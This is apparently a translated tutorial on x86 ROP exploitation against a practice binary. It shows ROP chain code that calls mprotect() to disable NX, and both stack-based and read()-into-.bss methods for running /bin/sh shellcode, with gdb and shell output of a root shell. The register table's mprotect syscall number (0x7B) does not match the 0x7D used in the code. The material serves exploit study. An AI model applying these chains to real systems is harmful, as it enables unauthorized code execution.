ROP Exploit MProtect() and Shellcode

基于上个ROP exploit建立的,学习编写ROP chains的另一种方法, 而不是using sys_execve to spawn a shell, 用sys_mprotect关掉NX保护, 并执行shellcode。

Mprotect()是一个设置内存区域访问权限的函数,它有3个参数; 起始地址、长度和掩码,其中包含该内存区域的新权限。 需要注意的是,起始地址必须是内存页的开始。 可以从源代码中获取掩码的值。 可以通过syscall调用mprotect(),参数设置如下;

EAX - 0x7B – sys_mprotect syscall number
EBX - Address of Memory to change (必须与页面边界对齐)
ECX - Length of memory to change
EDX - Mask of new permissions (READ|WRITE|EXECUTE is 0x07)

接下来要考虑的事情是打算如何编写shellcode到选择的位置,有一些选项,可能会或可能不会工作,取决于你试图利用的环境;

  1. 将shellcode写入堆栈,使用mprotect()使堆栈可执行,并直接跳转到payload。
  2. 使用mprotect()使内存区域可写和可执行,然后使用另一种技术在跳转到该位置之前将shellcode写入该位置。
  3. 使用mprotect使一个内存区域可执行,并写入一个stagger,它可以跳转到另一个内存区域或从别处获取shellcode。

方法一

在所使用的示例中,没有方便的gadeget来处理堆栈,理想情况下,希望使用JMP ESP gadget来处理在不同执行环境中移动的堆栈地址。事实上,必须使用硬编码的堆栈地址,可能会有少量的nop,虽然足够简单,但这似乎不是一个特别优雅的exploit。

为了获得堆栈内存页的地址和大小,使用gdb的info proc mappings命令;

这是对现有exploit的修改,使用了许多相同的gadget,所以不打算翻新基本的exploit。 使用mprotect()在内存段上设置权限的部分ROP exploit如下所示;

1
2
3
4
5
6
7
8
9
10
11
12
13
buffer += address(pop_eax)         # place value into EAX
buffer += littleendian(0x0000007D) # MProtect syscall number

buffer += address(pop_ebx) # place value into EBX
buffer += address(target_memory) # 0xFFFDD000

buffer += address(pop_ecx) # place value into ECX
buffer += littleendian(0x00021000) # Length of memory to change

buffer += address(pop_edx)
buffer += littleendian(0x00000007) # PROT_READ|PROT_WRITE|PROT_EXEC

buffer += address(execute_syscall)

如果将shellcode和最后一个gadget的最终返回地址一起推入堆栈中。 理想情况下,最后一个返回地址应该是一个jmp esp,但这里没有这个选项,所以将使用硬编码地址代替。

1
2
3
4
### Stack based Approach ###
buffer += address(shellcode_location) # 0xFFFFD494
buffer += NOPS * 100 # 0x90
buffer += payload # shellcode

使用标准的/bin/sh shellcode进行测试;

1
2
3
4
(gdb) run < exploit
Starting program: /root/binary_challenge < exploit Show me what you've got :>You've got: XXXX%�}process 3077 is executing new program: /bin/dash
# id
uid=0(root) gid=0(root) groups=0(root

虽然它可以工作,但它依赖于硬编码的堆栈地址和NOP,所以并不是很好。

方法二

可以使用另一个write原语将shellcode写入程序内存中的某个位置,而不是将shellcode写入堆栈。 已经在.bss部分中找到了一个很好的候选位置,因此可以将target_memory变量设置为堆内存的起始位置0x0804A000。 现在必须决定如何开始写。 最简单(也是最低效)的方法是使用从pop eax; pop edx; mov eax (edx)中构建的write-what-where原语gadget在我们的第一个exploit

这不是写大量数据的好方法,它在DWORD中表现得很好,但它增加的写开销非常大,写50字节的shellcode需要超过200字节的payload。 可以使用syscall来创建一个新的任意写原语,而不是将大量数据写入单个缓冲区;

read()函数从文件描述符(fd)获取数据,并将一些字符写入指定的内存位置,其原型如下:

1
read(int fd, void *buf, size_t count);

可以使用syscall number 0x03来调用read()函数,给它文件描述符0来从stdin获取值,并将现在可执行内存位置设置为目标,需要预先计算shellcode的长度,但这是很容易做到的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
### Heap Based Approach ###
buffer += address(pop_eax)
buffer += littleendian(0x00000003) # sys_read syscall number

buffer += address(pop_ebx) # first argument
buffer += littleendian(0x00000000) # stdin file descriptor

buffer += address(pop_ecx) # second argument
buffer += address(target_memory) # address to write to

buffer += address(pop_edx) # third argument
buffer += littleendian(len(payload)) # length of payload

buffer += address(execute_syscall) # do the read()

最后,需要跳转到新的shellcode

1
2
buffer += address(target_memory) # jump to the payload
print(buffer)

当调用这个新的exploit时,需要在exploit之后立即发送payload,以便它在stdin缓冲区中等待read()函数。 把payload放到了一个单独的文件里;

1
2
3
4
5
6
7
root@kali:~# (cat exploit; cat payload) | ./binary_challenge
Show me what you’ve got
:>You’ve got: XXXX%�}#
#
# id
uid=0(root) gid=0(root) groups=0(root)
# exit

如果在本地执行此操作,请记住将两个cat命令用大括号括起来,否则它们将一起运行,您的payload将在堆栈中而不是在输入缓冲区中结束。

另一个浪费了几个小时时间的问题是,GDB不会更新内存段上的权限,所以如果认为mprotect失败了,要么检查strace中的返回值,要么在syscall返回时检查EAX寄存器。 0表示成功完成。 直到开始通过尝试执行NOPS进行测试,才意识到它表现得很好,尽管gdb说没有在堆段上设置执行权限。

参考链接(译)

  • ROP Exploit – MProtect() and Shellcode